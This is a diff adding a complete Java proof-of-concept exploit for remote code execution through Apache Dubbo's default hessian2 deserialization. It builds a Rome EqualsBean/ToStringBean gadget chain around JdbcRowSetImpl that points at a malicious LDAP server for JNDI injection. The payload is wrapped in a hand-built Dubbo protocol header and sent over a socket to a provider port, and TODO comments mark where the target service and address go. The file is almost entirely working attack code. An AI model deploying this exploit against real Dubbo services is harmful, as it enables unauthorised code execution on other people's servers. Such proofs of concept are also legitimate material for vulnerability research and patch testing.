|
| 1 | +package com.threedr3am.bug.dubbo; |
| 2 | + |
| 3 | +import com.rometools.rome.feed.impl.EqualsBean; |
| 4 | +import com.rometools.rome.feed.impl.ToStringBean; |
| 5 | +import com.sun.rowset.JdbcRowSetImpl; |
| 6 | +import com.threedr3am.bug.server.LdapServer; |
| 7 | +import com.threedr3am.bug.utils.Reflections; |
| 8 | +import java.io.ByteArrayOutputStream; |
| 9 | +import java.io.OutputStream; |
| 10 | +import java.lang.reflect.Array; |
| 11 | +import java.lang.reflect.Constructor; |
| 12 | +import java.net.Socket; |
| 13 | +import java.util.HashMap; |
| 14 | +import java.util.Random; |
| 15 | +import org.apache.dubbo.common.io.Bytes; |
| 16 | +import org.apache.dubbo.common.serialize.Cleanable; |
| 17 | +import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectOutput; |
| 18 | + |
| 19 | +/** |
| 20 | + * dubbo 默认配置,即hessian2反序列化,都可RCE |
| 21 | + * @author threedr3am |
| 22 | + */ |
| 23 | +public class JdbcRowSetImplPoc { |
| 24 | + |
| 25 | + static { |
| 26 | + //rmi server示例 |
| 27 | +// RmiServer.run(); |
| 28 | + |
| 29 | + //ldap server示例 |
| 30 | + LdapServer.run(); |
| 31 | + } |
| 32 | + |
| 33 | + public static void main(String[] args) throws Exception { |
| 34 | + JdbcRowSetImpl rs = new JdbcRowSetImpl(); |
| 35 | + //todo 此处填写ldap url |
| 36 | + rs.setDataSourceName("ldap://127.0.0.1:43658/Calc"); |
| 37 | + rs.setMatchColumn("foo"); |
| 38 | + Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null); |
| 39 | + |
| 40 | + ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs); |
| 41 | + EqualsBean root = new EqualsBean(ToStringBean.class, item); |
| 42 | + |
| 43 | + HashMap s = new HashMap<>(); |
| 44 | + Reflections.setFieldValue(s, "size", 2); |
| 45 | + Class<?> nodeC; |
| 46 | + try { |
| 47 | + nodeC = Class.forName("java.util.HashMap$Node"); |
| 48 | + } |
| 49 | + catch ( ClassNotFoundException e ) { |
| 50 | + nodeC = Class.forName("java.util.HashMap$Entry"); |
| 51 | + } |
| 52 | + Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); |
| 53 | + nodeCons.setAccessible(true); |
| 54 | + |
| 55 | + Object tbl = Array.newInstance(nodeC, 2); |
| 56 | + Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null)); |
| 57 | + Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null)); |
| 58 | + Reflections.setFieldValue(s, "table", tbl); |
| 59 | + |
| 60 | + ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); |
| 61 | + |
| 62 | + // header. |
| 63 | + byte[] header = new byte[16]; |
| 64 | + // set magic number. |
| 65 | + Bytes.short2bytes((short) 0xdabb, header); |
| 66 | + // set request and serialization flag. |
| 67 | + header[2] = (byte) ((byte) 0x80 | 2); |
| 68 | + |
| 69 | + // set request id. |
| 70 | + Bytes.long2bytes(new Random().nextInt(100000000), header, 4); |
| 71 | + |
| 72 | + ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream(); |
| 73 | + Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream); |
| 74 | + |
| 75 | + out.writeUTF("2.0.2"); |
| 76 | + //todo 此处填写注册中心获取到的service全限定名、版本号、方法名 |
| 77 | + out.writeUTF("com.threedr3am.learn.server.boot.DemoService"); |
| 78 | + out.writeUTF("1.0"); |
| 79 | + out.writeUTF("hello"); |
| 80 | + //todo 方法描述不需要修改,因为此处需要指定map的payload去触发 |
| 81 | + out.writeUTF("Ljava/util/Map;"); |
| 82 | + out.writeObject(s); |
| 83 | + out.writeObject(new HashMap()); |
| 84 | + |
| 85 | + out.flushBuffer(); |
| 86 | + if (out instanceof Cleanable) { |
| 87 | + ((Cleanable) out).cleanup(); |
| 88 | + } |
| 89 | + |
| 90 | + Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12); |
| 91 | + byteArrayOutputStream.write(header); |
| 92 | + byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray()); |
| 93 | + |
| 94 | + byte[] bytes = byteArrayOutputStream.toByteArray(); |
| 95 | + |
| 96 | + //todo 此处填写被攻击的dubbo服务提供者地址和端口 |
| 97 | + Socket socket = new Socket("127.0.0.1", 20880); |
| 98 | + OutputStream outputStream = socket.getOutputStream(); |
| 99 | + outputStream.write(bytes); |
| 100 | + outputStream.flush(); |
| 101 | + outputStream.close(); |
| 102 | + } |
| 103 | +} |
0 commit comments